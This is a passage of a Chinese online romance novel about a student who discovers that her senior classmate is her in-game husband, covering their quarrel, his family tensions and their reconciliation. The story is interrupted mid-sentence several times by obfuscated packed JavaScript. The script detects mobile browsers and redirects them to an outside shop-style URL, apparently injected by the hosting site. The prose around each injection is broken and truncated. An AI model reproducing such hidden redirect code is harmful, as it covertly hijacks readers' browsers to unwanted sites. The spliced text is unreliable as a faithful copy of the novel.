“我以为我可以很快放下的,”那女生继续说问,“但是我做不到,我一听到你和别的女生在一起,我还是忍不住……” 严禹声音里带了点疑惑:“什么在一起?” “昨天的项目会上,”女生突然激动起来,“有人看到你抱了她……你们认识多久了,有我们久吗?” ……被迫旁听的白念突然发觉自己成为话题的中心,回忆起昨天的场景,尴尬地恨不得将耳朵捂起来,她尽力将头低下去,降低自己的存在感。 只听见严禹沉默了一秒,声音有点发沉:“这和你无关。” 女生继续追问:“她是谁?” “该说的话我已经说过了,”严禹避而不答,“要是没有别的事,我就先走了,你早点回学校。” 白念很不想做偷听的事,眼见两人终于要走,她松了口气,安抚了一下腿上的小猫,示意它不要出声。 她轻轻抱起小猫,想要把它放在一旁的凳子上,然后尽快离开这尴尬的场景。只是刚伸出手去,突然听到那个女生音量陡然拔高。 “是不是游戏里那个女剑尊!” 白念弯腰抱猫的动作猛地一僵,脑子里“轰”地一声巨响。 严禹停下脚步,沉默不语。 女生见状不可置信地攥紧了拳头,他这几乎是默认的姿态。她语气激动:“我和你一起玩了这么久,你都无动于衷。她才入队几天,你就要和她结婚……你不是说我的感情不成熟吗,难道你网恋就很慎重吗?” “凭什么,哥哥,凭什么你可以接受她,却不可以接受我?”她语气有些崩溃,“你了解她是什么人吗?网恋被骗的那么多,你怎么知道她不是图你的——” 如果说刚才的“女剑尊”白念还可以麻痹自己这是巧合,这声“哥哥”终于让她避无可避。 她想起来了,这个似曾相识的声音。 她刚入队时候,那个总是叫风不语哥哥的奶妈,月色杳杳。 “江知玥,”仿佛在佐证她的想法一般,严禹蓦地转过身来打断了女生的口不择言,语气发沉:“不要随意评价她,这是我的事。” 他的脸色很不好,女生终于冷静下来:“……对不起,我说错话了。” 严禹揉了揉眉心,叹了口气,就要开口:“快回去吧,我还有事——” “喵呜~” 一声细弱但是清晰的猫叫突然凭空响起,打断了他的话。 严禹下意识转过头循声看过来,剩下的话戛然而止。 好动的小猫被人包在臂弯之中,看到严禹亲昵地叫唤了一声,他抬起头来,对视上它身后抱猫的白念,她的目光情绪难辨。 空气一片死寂。 白念垂下眼睛,看了眼怀中的小猫,扯了下嘴角,弯下腰去轻轻将它放在椅子上,没有再往身后看一眼,扭头就走。 严禹瞳孔猛地一缩,再顾不上其他,拔腿就要来追。 “别过来,”白念停下脚步背对着他,呼吸干涩,“我想一个人静静。” . 直到走回寝室,回到电脑前坐下,白念都没有回过神来。 游戏中仗剑已经带队打完了今天的日常,见白念没回消息,打了声招呼自行解散了队伍下线了,夏星也不在。 她不知道自己要干嘛,操纵着角色在宁安城里机械地来回走动,身旁的传送点迎来送往,络绎不绝,人声喧嚣热闹,她身处其间,头一次找不到方向。 许多事情都有了解释。 所以帮她打开储藏室门锁的那晚,他才会问,只要是欺骗,哪怕是善意的谎言,她是不是也不能接受。 所以表白之后面对白念模棱两颗的答案,他才会说,陪她寻找答案,直到她不需要为止。 所以白念问他要不要谈恋爱时,他才会说怕她失望,把选择的权利交给她。 所以他才会许下这半个月的期限。 白念心情复杂地扯了下唇,她是不是还得感谢他这份贴心? 站在上帝视角,掌握着绝对的信息差,看着不知情的她上蹿下跳,是不是觉得很好玩? 思绪纷繁,系统提示音却突然响起。 【您的夫君风不语已经上线。】 白念伸手就要把自己的状态设置成隐身。 他的消息比她的动作快了一步。 【好友】【风不语:不要走,可以给我个解释的机会吗?】 白念冷眼看着,负气般地点了隐身。 随着她头像灰下去,对方名字后正在输入中的状态也戛然而止。 白念看着他再也没有动静的输入状态,心绪更是莫名发堵。 手机震动了两下,白念拿起来,是严禹给她发了微信消息。 严禹:对不起。 白念抿了抿唇,指尖在键盘上徘徊良久,终究还是关掉回复框,伸手将他拉黑了。 正想连游戏也退出,对方的聊天状态却再次滚动起来,下一秒一条消息立刻弹到她的眼前。 【好友】【风不语:不知道你还能不能看到,对不起。】 【好友】【风不语:我知道现在说什么都没有用。】 【好友】【风不语:……那天说的半个月的约定,还有效吗?】 白念抿着唇看着,手指无意识轻蜷。 【好友】【风不语:我之前在云栖订了座位,晚上七点半,如果你还愿意给我一个当面道歉的机会的话。】 【好友】【风不语:我等你。】 新的消息终于不再弹出,白念瞪着这几句话看了很久,点了退出登录。 尽管开着空调,但是她从外面回来时,身上裹挟着的燥热温度似乎久久不散,压得她胸腔又沉又闷,喘不过气来。 白念把头埋在臂弯里趴了许久,终于还是站起身来,走进浴室,拉开水龙头。 哗啦—— 来不及转热的凉水劈头盖脸淋下来,浇灭她满腔难平心绪。 . 云栖是晋城大学外一家很特别的咖啡厅。 之所以说它特别,是因为在晋城中心区这样寸土寸金的地方,它毫不在意空间性价比地开辟了一大块前院,院子里种满了各式各样的花草,老板还精心造了个水景,尽管已经是九月,小院里仍然花团锦簇,一片野趣。 内室里座位也很少,全都用花架隔了起来,移步异景,空间体验非常良好,因此云栖的座位非常难订,还有最长消费时间的限制,超过两小时就要额外收费。 此刻咖啡厅的服务生看了眼坐在靠窗位置的男生,再三犹豫后还是走上前去提醒他:“顾客您好,您已经在这儿坐了两小时了,请问需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不好意思打扰一下……”来的是位长得十分好看的女生,神情间有些犹豫,“请问这里没有其他客人了吗?” 服务生笑了下:“抱歉啊,没有了,我们刚刚打烊。” “好的谢谢。”女生点头致谢之后,扫了一眼她正在收拾的桌子,上面有两杯一动未动的咖啡。 她垂下眼睛,转身离开了。 . 严禹是被严季淮的电话叫回去的。 严奶奶下楼时摔了一跤,虽然伤得不严重,但人年纪大了,伤筋动骨在所难免。 他赶到晋阳路时,唐雅比他先到一步,已经坐在严老太太床前,拉着她的手安慰她,见到严禹进来,愣了一下,看了看一旁坐着的严季淮。 严季淮笑了下:“妈受了惊吓,我叫阿禹过来陪陪她。” 唐雅勉力笑了下,起身把严禹从他身旁拉走:“过来看看奶奶吧。” 被他们母子俩齐齐忽略的严季淮并不生气,低下头笑了下:“阿禹已经没课了吧,今晚留下来陪陪奶奶?” “行。” “不行!” 两人同时出声,严禹诧异地看了眼持反对意见的唐雅,她意识到自己声音似乎大了些,下意识解释:“妈妈在这陪着就行了,你不是跟着老章有项目要做吗?” “妈,”严禹盯着她的眼睛,“我没事的。” 最终唐雅还是回去了,集团一大堆事,她虽然说自己可以陪在这儿,其实许多事也顾不得。 照顾奶奶睡下之后,严禹推门到二楼阳台站定,掏出手机看了眼微信,和白念的对话框上是醒目的红色感叹号,他想了想,打开了万古令,想要告诉她一声,自己是有事先走了。 阳台门突然被人从身后推开,严禹收起手机扭头去看,严季淮没有开走廊灯,静静地站在他身后看着他。 70. 怀孕 “在跟谁聊天呢?”严季淮面带笑意,盯着严禹的眼睛缓缓开口。 严禹最后看了眼那发不出去的消息,垂眼敛去一切情绪,并没有回答他的问题。 吃了瘪的严季淮并不恼,走到阳台边栏杆,转过头来:“听说你留在学校里实习了?那有什么意思,来爸爸公司吧,我这有很多建筑项目。” 严禹终于肯理他,不过张口就是拒绝:“不去。” 严季淮笑了下,目光移到他的手机上:“就为了一个女生?” 本来没什么情绪的男生猛地抬起头来,目光变得十分尖锐,直视眼前的中年男人:“你什么意思?” 他强烈的反应带给严季淮极大的愉悦感,男人看着这个向来对他不咸不淡的儿子显示出强烈的情绪来,弯了弯嘴角,语速不紧不慢道:“为了帮她,你都动用你高远叔叔的力量了……你做这些她又不知道,你图什么?” 说完这些,他转过去看比他高出半个头的儿子,好整以暇地观察他的表情,然后如愿以偿地在严禹脸上看到了不善,像是弓起背的刺猬,语气里全是抗拒:“这是我的事。” “是么,”男人依旧笑,“你小时候很内向,不爱跟外人交流,只听爸爸的话……如今长大了,倒是跟爸爸越来越陌生了。” 他一边说着,一边观察严禹的神情,男生似乎毫无察觉一般,并没有过多在意他这句话,他转了下眼睛,转移了话题。 “我倒是有点嫉妒那个女生了,”他甚至有模有样地、惋惜地叹了一口气,佯装思考,“她叫……白念是吧?很漂亮的名字。” “严季淮,”严禹声音冷了下来,“你想干什么。” 男人笑出声来,伸手拨亮了阳台灯,暗色的视野陡然明亮了起来,方才萦绕在他周身那种难言的压迫感突然消退,他耸着肩将双手一摊,语气和蔼:“我能干什么,我不过就是想找你聊聊天而已。” “爸爸在公司给你留了职位,很适合你。”说完,他抬起手拍了拍严禹的肩膀,对他慈爱的一笑,随后拉开玻璃门,“哦对了,爸爸真的很想看你开我送的车,应该会很帅。” 说完转身回屋,留下严禹一个人杵在原地,眼神落在他远去的背影上,一瞬不转。 从他八岁跟着唐雅离开严家以后,他对这个父亲的印象逐年淡薄,每年不过应他的央求,偶尔来这里陪一陪奶奶,从小学到大学,这个父亲没有一丁点儿的参与感。 最开始,严禹也会像其他父母离异的小孩一样,抓住唐雅问个不停:“妈妈,爸爸呢?” 唐雅会温柔一笑,蹲下来抚摸他的额头:“爸爸很忙,有妈妈陪你呢。” 再长大一些,他就很少再问,因为他看懂了每次提问之后唐雅眼中沉寂的情绪,虽然他不知道因为什么。 高中时候,外婆偷偷拉着他到自己房间,语重心长地告诉他,父母离婚是因为父亲出轨了。 从此他再也不问。 他一直觉得严季淮很烦。 高考结束后,他会将他约到咖啡厅,笑眯眯将杯子推到他面前:“阿禹打算报什么专业?” 每次到严宅来,他会像谈论天气一样不经意提问:“为什么不用我送你的礼物?” 还有上次江知玥来的时候,他在餐桌上问他:“有没有考虑谈个恋爱?” 他原本以为,这只是一种毫无用处的关心。 直到今晚。 严禹攥着手机,冷眼看着他消失在走廊尽头的背影。 “你在想什么。”他盯着这道背影轻轻问了一句,声音很低,瞬间消散在风中。 他低下头,看了眼聊天框最上面的名字,删掉那些打出去未发送的文字,轻轻用指尖摩挲了一下她的名字,沉默着关掉了手机。 . 白念这几天变得异常沉默。 这是丁菲菲连续观察了好几天得出来的结论。 虽然她在寝室四个人里一向属于话少的那一个,但从来不像现在这样,说不上哪里不一样,只是一种直觉。 她看着电脑面前一动不动的白念,暗自肯定了自己的想法。 ——白念正在游戏上。 虽然严禹已经好几天没有上线了,但她依旧习惯性地隐了身,在里面漫无目的地瞎逛。 那天晚上她犹豫了很久,最终赶到云栖的时候,里面已经空无一人。 她说不上来自己是什么想法,自己几乎是打烊时间去的,他走了也很合理。 那晚之后严禹也没有再联系过她,也很合理。 这才是正确的剧本,既然已经说开了,那就互不打扰,这是成年人之间该有的、心照不宣的默契。 没错,就是这样。 白念觉得自己想通了,直起腰来,这才发现自己有一搭没一搭地瞎逛,不知不觉来到了月老祠前。 一身红衣的白发老头笑眯眯地背着手看着她在门口走来走去,和那天风不语带着她来结婚没有任何差别。 仿佛不论世事怎样变化,他都会站在这里,笑眯眯地递上一把红线:“少侠要算一下姻缘吗?” 白念略过他机械的客套,调出月老的任务面板。 里面有三个选项:结婚,离婚,情侣任务。 光标从结婚略过,停留在第二个选项上,离婚两个字变得高亮醒目。 她看了很久,又退了出来,去看好友列表。 风不语的头像比任何时候都要安静。 白念垂下眼睛,突然觉得自己负气拉黑严禹微信的动作,和对方干脆利落的消失比起来,有些幼稚。 她这么想着,莫名地笑了一下,把人从黑名单里拖了出来,手指略过他的头像,突然想起自己为了答谢给他画的那件T恤。 她站起身来,伸手拿下柜子最上面已经装好的画框,透明玻璃内嵌着已经画好的、原本想要在见面时送给风不语的画,她端详片刻,又重新把它塞了回去。 然后抬手点了离婚。 游戏里的离婚分为两种方式,一种是当事人双方一起来,同时确认离婚之后当场就能解决;另一种,就像夏星那样,另一方不在,也可以申请强制离婚,要么等对方三天之内上线确认,要么等七天后系统自动生效。 【月老:少侠的伴侣并未一同前来,请问是否申请强制离婚?】 白念抿着唇,手指轻轻蜷缩了一下,按下回车键。 她提起的心还没放下去,屏幕中突然冒出一条警示提醒。 【月老:少侠,你已经怀有身孕,怀孕期间暂时不能离婚。】 白念将这条提醒看了一遍,又看了一遍,差点以为自己这几天没睡好眼花了。 她传送回了家。 家门口的白胡子管家喜笑颜开地迎了上来。 这个管家是站在白念家门口的一个老头npc,每家每户都有,从白念玩游戏以来万年没有过动静,每天的任务就是向进出门的玩家问好。 白念杵着下巴,眼看着他走近,头顶冒出一大段话。 【恭喜主人,经过医师妙手诊看,您已经怀有一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538834|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身孕。为保证胎像稳固,请主人这段时日请务必小心谨慎,避免参与剧烈打斗,并按照孕期指南每日到此处安胎固脉。】 这令人胃疼的设定成功让白念语塞。 还离不了了。 在她愣神的时候,管家又开始絮絮叨叨。 【今日安胎时辰已到,请主人选择培育材料。】 说是安胎,说白了应该就是培育孩子以后的战斗属性,白念本来想关掉页面,却习惯性地按了个回车确定。 她索性不再纠结,低头就要去拿手机查攻略,看看要怎么培养,但下一秒游戏里弹出的界面让她愣在原地。 压根不需要她去准备什么材料,培育仓库里满满当当的药材和道具,塞满了所有的储物格,每一页已经命名完毕,一目了然。 第一周培养材料,第二周,第三周……直到第十周。 现实的一周,就是游戏里的一个月。 风不语已经把怀胎十月需要的东西都准备好了。 白念看着这秩序井然的界面,突然觉得自己的纠结索然无味。 她抬手点了退出。 . 严奶奶伤得不重,只是腿上磕出了些淤青,精心细致地养了一个星期,老人家已经能够四平八稳地下地走路。 从学校赶过来的严禹将车停在前院,按部就班去扶了老人家外出散步,迎面碰上刚下班的严季淮。 男人看了一眼没跟他打招呼的严禹,又扭头看到院子里异常醒目的黑色超跑,再回过头来,笑容就更深了:“开我送的车了?阿禹真乖。” 明明是很普通的一句话,严禹却突然抬起头来看他,严季淮笑了笑:“怎么了?” 男生又面无表情地把头垂了下去,去看严老太太:“您走慢点儿,前面有台阶。” 忙碌了一下午,把老太太送回卧室,严禹转身回了楼上自己的房间,拉开门的一瞬间,傍晚严季淮那句“阿禹真乖”又在他眼前一闪而过。 这句话对成年的他来说,太过突兀。 他一直觉得这个房间保持着他小时候的模样,书架上有他小时候最喜欢的变形金刚手办,书桌上还有他顽皮时候用削笔刀刻下的笔画,木质地板上有一道凹痕,是他在房间里上蹿下跳时撞倒了椅子,椅子尖锐的外角砸在上面弄出的浅浅的痕迹。 他清晰而有序的记忆与眼前这些细微的痕迹重合,讲述着他小时候短暂拥有过的快乐,记忆里的小孩笑容满溢。 严季淮从来没有跟他忆往昔过,那晚是第一次,他说,你小时候很内向。 抬手拂过墙上被他画过的涂鸦,手机来电响起,他抬手接起,随手拿起桌上的一只笔沿着幼时的涂鸦纹路轻敲墙面。 “妈。” “阿禹,妈妈明天不去公司了,我来陪奶奶,你回学校上课吧,耽误你好几天了。” “没事,我下课时间才过来,您忙就好。” “……还是我来吧。” 严禹安静了片刻,久到对面轻轻喊了他一声,他才开口:“妈。” “嗯?”也许是他的声音太沉,唐雅回应地很轻。 “我小时候,”他问,然后听到对面突然呼吸突然中断,他像是毫无察觉一般随口一问,“很调皮吧?” 空气突然安静,寂静的夜里落针可闻。 他并不着急催唐雅回答,只是漫不经心地用笔点着墙面涂鸦,细碎的敲击声在沉寂中无限放大。 嗒、嗒、嗒、咚—— 他的手停在了半空。 71. 当面 严禹的目光停留在笔尖所指的地方,那里用水彩画了东西,随着时光的流逝已经变得模糊褪色,但依稀看得出来原来的模样。 稚嫩歪斜的线条,画的是一道蓝色的窗户。 他缓缓伸出手指,翻过手来,食指弯曲,用关节轻轻又叩击了一下这片墙面。 咚。 再敲敲旁边。 笃笃。 不同于旁边敲在砖石混凝土上笃实的声音,这这扇画出来的窗户后面,叩击的声音泛着空落的回响。 唐雅的声音这才经过通讯信号传过来:“什么声音?” 严禹最后看了一眼墙上这扇涂鸦窗,蓦地回想起他那天去唐氏,在唐雅旧办公室看到的东西。 那里面,有一间小小的休息室,没有窗户。 他目光不动,嘴上回答道:“没什么。” “你小时候……当然调皮了,”唐雅这才回答他的问题,“你现在在房间里吧,你看看周围那些东西,不给你买变形金刚就在地上打滚,写作业非要在桌子上学着鲁迅刻字,还有你房间地板上那个浅坑……” 她说到这里,似乎是一口气说太多了,深深地吸了口气缓了一下,重新堆起笑意:“是你推倒了椅子砸出来的,还有啊——” 严禹唇角浅浅地勾着,这些回忆唐雅在他面前放映了无数次,他的目光跟着她的话又把房间里这些痕迹重新抚摸了一遍,像是重新经历了一遍那些天真烂漫的时光。 “妈,”他出声打断唐雅的回忆,声音温柔,“谢谢你。” 他的目光终于从涂鸦上移开。 . 白念再次遇到严禹,是三天后在章以苓的办公室里,他将两人叫来,是为了看暑假那个项目的修改意见。 “这个事在意料之外,”章以苓笑吟吟地看着两个学生,“但也是想象之中。本来只是想让你们锻炼一下,但是甲方最后选择了planB.” 身边的男生存在感太过强烈,白念悄无声息地拉开一些距离,刚刚站定,就听到章以苓的这句话,她抬起头来:“planB?” 章以苓点点头,脸上笑意不减:“就是你们的方案。两周之内优化完成,所以,接下来你们还要辛苦一段时间了,工作电脑我这里都有,没有问题吧?” 他本来只是随口一问,严禹本来就要跟着他实习的,白念大二的课程他都知道,设计课本就是他负责,两个人时间上都很方便。 谁知道白念有话要说:“老师,我想……” 她想问能不能让她在寝室远程画图,可是一对上章以苓殷切的目光,她又说不出口了。 她最终低下头去:“我没问题。” 旁边的男生扭过头轻轻地看了她一眼。 章以苓效率很高,起身递过来一沓修改意见,挨个给他们讲解一遍之后,指了指办公室内间的两台电脑,拿起教案站起身来就要出门,大手一挥:“去吧,趁着小白今天下午没课,你们抓紧时间,我一会儿有课,有什么问题等我回来讨论。” 办公室不算大,两台电脑背对背放在一起,白念进去就愣了一下,这样的位置,两个人正正好好面对面。 “怎么了?”身后的男生见她不动,轻声问了一句。 白念抿了抿唇,不想说什么,索性挑了靠窗的位置,把手里东西往桌上一放,低头去开电脑主机按钮。 低下头的一瞬间,她假装没看到男生看过来的灼灼视线,有种破罐破摔的心态——对面就对面,又不是没见过。 按钮是按下去了,只是电脑毫无动静。 反倒是严禹却两步走过来,把手提袋往她桌子上一放,直接蹲了下来,视线与她在桌面下交汇。 白念皱了皱眉:“你干什么——” 话还没说完,严禹已经伸长手臂,直直探到机箱后面去,一边寻找着什么一边温声解释道:“这台电脑电源接触有点不稳,要不你去对面吧,我用这个。” 白念看着他像是什么事都没有发生过的四平八稳的表情,心里莫名地升起一股子逆反的情绪,蹲下去硬邦邦地拒绝道:“不用,我自己来。” 严禹“唔”了一声,也不知道听进去没有,没有让开的动作,只是径自低下头去重新拔插电源线,白念这个角度可以看到他后脑柔软干净的头发,白皙的脖颈,手臂上用力凸起的线条,还有熟悉的清冽味道。 刚进来空调还没产生效果,桌面下逼仄的空间让这股子味道甚至产生了压迫感,将空气里微微发涩的灰尘味道取而代之,完完全全侵占她的嗅觉。 白念不想离他这么近,就着半蹲的姿势往后挪了一步,却忘了身后是办公椅,后脑勺直直撞上了扶手。 主机电源刚刚亮起,“咚”的撞击声和她下意识“嘶”的一声同时响起。 严禹猛地回过头来,看到她捂着后脑勺来不及噤声的样子,连忙站起身,就要过来扶她,但手一伸出来,掌心里全是灰尘,他的手顿在半空。 白念自己揉着脑袋坐了起来,看了一眼他僵在半途的手臂,收回目光,有点懊恼自己不长眼睛,然后就听到他轻声问了句:“痛不痛?” 作为师兄时,他的声音比起游戏里总是多了一分客气和疏离,可是此刻不知道是不是白念的错觉,耳畔的声音和记忆中完整重合了,带着一丝难言的、属于风不语的温柔。 她不自觉地恍惚了一下,下一秒又清醒过来,对自己现在还在忆往昔的举动恨铁不成钢,放下捂着后脑勺的手,去看亮起来的电脑屏幕,没有说话。 眼前的男生得不到回应,但是能看到她强忍下去的生理性的泪水,还有因为疼痛微红的眼睛,他轻轻叹了口气,走过来,抬起左手,用干净的手背轻轻碰上白念被撞的部位,然后缓缓揉了揉。 白念随着他的动作愣在原地。 除了医院那次紧急情况,他从来没有这么不经她同意擅自作出决定的时候,她没来得及避开。 “手掌脏了,只能用手背帮你揉了下,抱歉。”他清润的声音从头顶传来。 温热的触感和均匀的力道有效地抚平了钝钝的余痛,取而代之的是避无可避的强烈触感,白念发着愣,这个角度让她的目光落在他另一只垂在一旁的右手掌心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546320|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,凌乱的灰尘污迹里有几道细碎的、没有消退的疤痕。 愈合不久的伤口带着新生的浅粉色,在周围白皙的肤色中显得格外清晰。 白念回过身来,偏头躲过他的动作,想要避开视线。 这也不是她该管的事。 但越想无视,余光里那些疤痕好像就越明显,白念忍无可忍,拽过自己的包,掏出一张湿巾递过去:“擦一下,你的手。” 严禹垂下眼看着她别扭的表情,眸光里全是温柔笑意,他听话地接过湿巾,慢慢擦掉左手的灰尘。 白念又面无表情地递过去一张新的湿巾:“另一只。” “好。”他依言接过来,去擦右手,掌心里新嫩的疤痕触目惊心。 白念在脑子里默念了一百遍“我只是随便问问”,开口:“你的手怎么了?” “这个吗?”严禹把湿纸巾一丢,把右手递到她面前,毫不避讳地问她。 “嗯。”密密麻麻的细碎伤口让白念视线左右闪避了两下。 严禹把她的神色全都收在眼睛里,低头看了一眼自己的手心,诚实道:“那天晚上在酒店,被碎玻璃扎的。” 白念猛地转过头来:“我以为你只是背上受伤了。” 她那天晚上只注意到他背上的痕迹,他也一声没吭,压根没让她发现手上的情况。 严禹原本觉得这并不是什么大事,但他此刻从白念眼睛里看到了一些不一样的情绪,如同黑暗中的人看到了一束光,他立刻抓住。 他依然举着手,声音也弱了下去,像外出打架受伤回来告状的小孩:“嗯,快好了,也不怎么痛了。” 白念的视线终于又落回他的手掌,表情里带上了明显的愧疚:“对不起,是我害的。” 严禹愣了一下,戏演过头了,他并不想要她的愧疚。 他有点慌,半蹲下来,昂起头认真地看向椅子上的人:“是我自己愿意的,不是你的错……抱歉,我只是想让你多跟我说句话。” 他作为严禹时,从未这么直白地对着白念表达过自己的心意,她愣了下,下意识低头对视上他的眼睛。 这原本是风不语才会说的话。 脑海中叫嚣了几天的现实和虚拟交错的割裂感,逐渐在他这样专注的陈述之下平静下来,她脑海中关于风不语所有虚无的设想,在此刻有了相合的载体。 “他们”在她的认知中逐渐重合。 再怎么接受不了,白念此刻都不得不承认,他们,是同一个人。 但她没有理解严禹话里的意思,她下意识问出口:“不是默认了么?” “默认什么?”严禹问她。 “默认……就这样了。”白念说。 “我想我们之间可能理解有些误差……”严禹沉默了片刻:“那天晚上你没来,我怕贸然打扰你你更生气,想当面再跟你道歉的。” 他低下头去自嘲地笑了下:“抱歉,以后不会让你产生这样的误会了。” 白念静静地看着他,突然轻轻开口:“那天晚上,我去了。” 男生蓦地抬起头来。 72. 坦白(第一条) 白念看着严禹猛抬头望过来的眼神,不知怎地突然想到了晋云湖畔的那只赖皮小猫。 专注地看着她的时候,瞳孔一样的透亮,充满了希冀与期待。 她的心脏像是被猫咪柔软的尾巴轻轻拂过一样,悄悄地跳了一下。 “……你赴约了。”明明是肯定句,从男生的嘴里说出来却带着些小心翼翼的试探,仿佛他呼吸重一些,刚刚听到的话就会像幻觉一样消失。 那天晚上离开之前,说不失望那是假的,但他一直清楚自己想要的是什么,他不想,轻易放弃。 白念的话将他从摇摇欲坠的悬崖边拽了回来。 “嗯,”白念带着些不小心说出口的懊恼,无法否认,“去得晚……咖啡厅刚刚打烊,里面没人了。” “我奶奶在家摔了一跤,我临时赶回家了。”严禹快速解释了一遍,“我应该多等一会儿的。” 白念抓住了他话里的信息,眨了眨眼睛:“你奶奶怎么样了?” 严禹笑了下:“没伤到骨头,已经好得差不多了。” 随后又抬起眼睛看向她,纠正她偏离的注意力:“一点儿也不晚,只要你来,什么时候都不晚。” 他的目光灼灼,专注又温柔,白念被他直白的眼神看得有点不自在,把椅子往后挪了一点:“你先起来。” 他一直保持着半跪的姿势,让她不由地想起她坐在他副驾上揪着他的衣领嚎啕大哭的场景。 ……她在不知情的情况下,到底干了多少这样尴尬的事情。 这样想着,顿时又觉得眼前害她不知情的始作俑者很不顺眼,非常不顺眼。 严禹却一动不动,反而伸出双手搭上了她椅子双侧的扶手,一个将她圈在自己面前的姿势,然后神情严肃了些,突然开口:“对不起。” 白念垂下眼睛不想看他。 “关于欺骗你这件事,我向你道歉,”他说的很认真,“我知道你短时间很难接受,但我没有恶意。” “……你什么时候知道的。”白念闷闷地问。 “你卖给我九黎之心的那天,”严禹说,“我在易宝阁上看到了你的实名信息。” “就凭这个?”白念扬了扬眉,这东西她是知道的,“上面名字都显示不全。” “……还有你的游戏主页动态,”严禹很诚实,“你挂在上面那句话,期末评图的时候我听你说过。” 白念在记忆里翻箱倒柜,终于明白自己在哪里翻的车。 她瞪着男生:“那你当时为什么不说。” 她知道自己问得很没有道理,那个时候他们仅仅只有一面之缘,换做是她,也不会贸然去戳穿一个偶然得知的身份——不就是玩个游戏嘛。 但她就是莫名地有些生气。 严禹认错的表情很诚恳:“是我自作主张了,对不起。” “看我在你……”白念一下子不知道该怎么形容,她瞪了面前比她低半个头的人一眼,“在‘你们’中间来回,是不是觉得很好笑?” “我没这么想过,”严禹看她的神情,有点慌乱地解释道,“我只是害怕……对不起。” 白念一下子没了声音。 害怕什么?她当然知道。 那天晚上隔着一扇门的真相,终究是因为她的一句话,搁置到了现在。 她没再说什么,又闷闷地催促了一遍:“你起来。” 他半跪着将她连同椅子一起圈着,如此近的距离,让她还有许多想要质问或发泄的话都莫名地没有了倾泻的余地,她把脸偏开了一些,离开他专注的目光。 道歉没有得到回应,严禹静静地端详了几秒她的神情,最终垂下眼睛放开手,站起身来。 那股无形的压迫感终于消失,白念轻轻地舒了口气,起身坐正,拿起鼠标晃了两下,目不斜视。 眼看男生站在她旁边一言不发,她又抿抿唇,多余地解释了一句:“……改方案了。” 严禹被她别别扭扭的样子逗笑,伸手拿过桌面上的纸袋,拆开里面的保温隔层,将里面的东西拿出来,递到她的面前。 白念低头一看,是熟悉的慕斯蛋糕,和前两次莓果味的不一样,今天是巧克力味道的,柔滑的慕斯质地上有一层薄薄的可可粉,散发出浅淡的香气。 “上次你说喜欢吃甜的,他家的巧克力应该不会很腻。”严禹一边说着,一边把里面的叉子拆解出来,递到她面前,“试试看?” 白念回忆着自己上次说的话,下意识接过叉子。 严禹又从保温层里拿出一瓶牛奶。 白念顺着他的动作看过去,愣了一下。 是玻璃瓶装的牛奶,但瓶子的样式很特别,瓶颈细长,瓶身圆润,像一只优雅的圆肚长颈花瓶,不常见。 但她曾经见过。 严禹见她愣着没吃东西,举起牛奶在她眼前晃了晃,白念回神,没忍住伸出手去碰了碰装着牛奶的玻璃杯,杯壁上时温热的触感,她轻声问了句:“怎么是热的?” 男生沉默了两秒,委婉开口:“怕你肚子又痛。” 白念:……她多余问。 上次进医院的原因他是知道的,今天差不多也是月底了,没想到他连这个都记得。 飞快地低下头去,白念面无表情着用力戳了戳手里的蛋糕,仿佛要将尴尬全都化为力量,冲着无辜的蛋糕泄愤。 严禹微微勾了勾唇,回到对面坐下,开机,开始工作。 ——慢慢来。 ——他有足够的时间和耐心。 反倒是白念,眼看男生很快投入工作中去,自己反而开起了小差,盯着纯白的热牛奶看了好一会儿,思绪有点游移。 “怎么了?不好吃吗?”专心画图的男生突然微微偏过头,越过电脑屏幕看了一眼正在愣怔的人,问道。 白念收回视线摇了摇头:“不是……我只是突然发现,你很喜欢拿热牛奶和蛋糕来哄人。” 在晋云大厦时是这样,在章以苓工作室也是这样,今天依旧是这样。 严禹失笑:“那我下次换一个。” “不用了,”白念摆摆手,意识到自己话里的歧义,又补充道,“我的意思是,下次什么也不用带了。” 男生抿了抿唇,没有说话。 白念伸出手,用指尖轻轻敲击那只牛奶瓶,冷不丁开口:“只是让我想起一件事。” “什么事?”严禹耐心等待白念的下文。 她却摇摇头直起身来,目光从瓶身上移开,扯了扯唇角,“没什么,已经过去了。” 严禹的目光从她脸上移到那个普普通通的瓶子上,看了两秒,收回视线:“好。” “哦对了,”白念又抬起头来,看了他一眼,犹豫了一下,还是开口:“有个东西。” 她转过身去,从自己拎过来的袋子里拿出一样东西,越过两个电脑屏幕,递到男生面前。 严禹刚想开口询问,目光落在眼前的画面上,表情骤然凝定。 那是一个A4图幅大小的画框,里面有一幅画,画面里是一位恣意张扬的白衣剑客,一旁还有只威风无比的白羽雕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 